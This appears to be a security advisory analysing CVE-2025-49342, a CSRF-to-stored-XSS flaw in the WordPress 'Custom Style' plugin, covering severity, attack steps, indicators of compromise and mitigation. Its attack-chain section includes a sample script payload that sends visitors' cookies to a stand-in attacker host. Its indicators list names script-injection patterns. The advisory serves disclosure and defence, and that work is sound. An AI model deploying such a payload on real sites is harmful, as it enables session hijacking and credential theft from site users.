CVE-2025-49342: 
WordPress vulnerability analysis and mitigation

CVE-2025-49342 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress "Custom Style" plugin (by Wolfgang Häfelinger / merzedes) that enables Stored Cross-Site Scripting (XSS) attacks. All versions up to and including 1.0 are affected, and no official patch has been released. The vulnerability was reported by researcher Skalucy on October 18, 2025, and publicly disclosed by Patchstack on December 31, 2025. It carries a CVSS v3.1 base score of 7.1 (High) (Patchstack, Red Hat CVE).

The root cause is classified as CWE-352 (Cross-Site Request Forgery), where the plugin fails to validate the origin of state-changing requests, allowing an unauthenticated attacker to craft a malicious request that, when executed by an authenticated privileged user, stores a malicious script in the WordPress database. This chained CSRF → Stored XSS attack vector operates over the network (AV:N) with low complexity (AC:L) and requires no privileges (PR:N), but does require user interaction (UI:R) — typically tricking an administrator into visiting a crafted page or clicking a malicious link. The stored XSS payload then executes in the browsers of any user who visits the affected page, with a changed scope (S:C) impacting confidentiality, integrity, and availability (Patchstack).

Successful exploitation allows an attacker to persistently inject malicious JavaScript into the WordPress site, which executes in the context of any visitor's browser session. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further compromise of site visitors. The changed scope means the impact extends beyond the plugin itself to the broader WordPress environment and its users (Patchstack, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-49342. The EPSS score is approximately 0.014% (0.000140), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies this as low priority, noting it is unlikely to be exploited despite the theoretical potential for mass-exploit campaigns targeting WordPress plugins (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Custom Style plugin version ≤ 1.0 using tools like WPScan or by checking publicly accessible plugin metadata.
2. Craft malicious CSRF payload: Create an HTML page or form that submits a forged request to the Custom Style plugin's settings endpoint, embedding a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in a style or custom field parameter.
3. Deliver to privileged user: Trick a logged-in WordPress administrator into visiting the attacker-controlled page (e.g., via phishing email or malicious link), causing their browser to submit the forged request with their authenticated session.
4. Stored XSS persists: The malicious script is saved to the WordPress database via the CSRF-bypassed request, with no CSRF token validation blocking the submission.
5. Payload execution: Any user (including visitors) who loads the affected page triggers the stored XSS payload, enabling session hijacking, credential theft, or further attacks (Patchstack).

• Logs: WordPress access logs showing unexpected POST requests to plugin settings endpoints (e.g., wp-admin/options-general.php or plugin-specific admin pages) from unusual referrers or external origins.
• Database: Unexpected or obfuscated JavaScript (<script>, eval(), document.cookie, base64-encoded strings) stored in WordPress options or plugin-specific database tables associated with the Custom Style plugin.
• Network: Outbound connections from site visitors' browsers to unknown external domains shortly after loading pages with custom styles applied.
• File System: No direct file-system artifacts expected, as the payload is stored in the database rather than the file system.

As of the disclosure date (December 31, 2025), no official patch is available for the Custom Style plugin version 1.0. The recommended immediate action is to deactivate and remove the Custom Style plugin from affected WordPress installations. Site administrators should also implement a Web Application Firewall (WAF) rule to block CSRF-based requests targeting plugin settings, and consider using a WordPress security plugin (such as Patchstack) that provides virtual patching. Monitor for any unexpected script content in plugin-related database entries (Patchstack).

Patchstack, which discovered and disclosed the vulnerability, classifies it as low priority with unlikely exploitation impact. No notable researcher commentary, vendor statements beyond the Patchstack advisory, or significant media coverage has been identified for this vulnerability.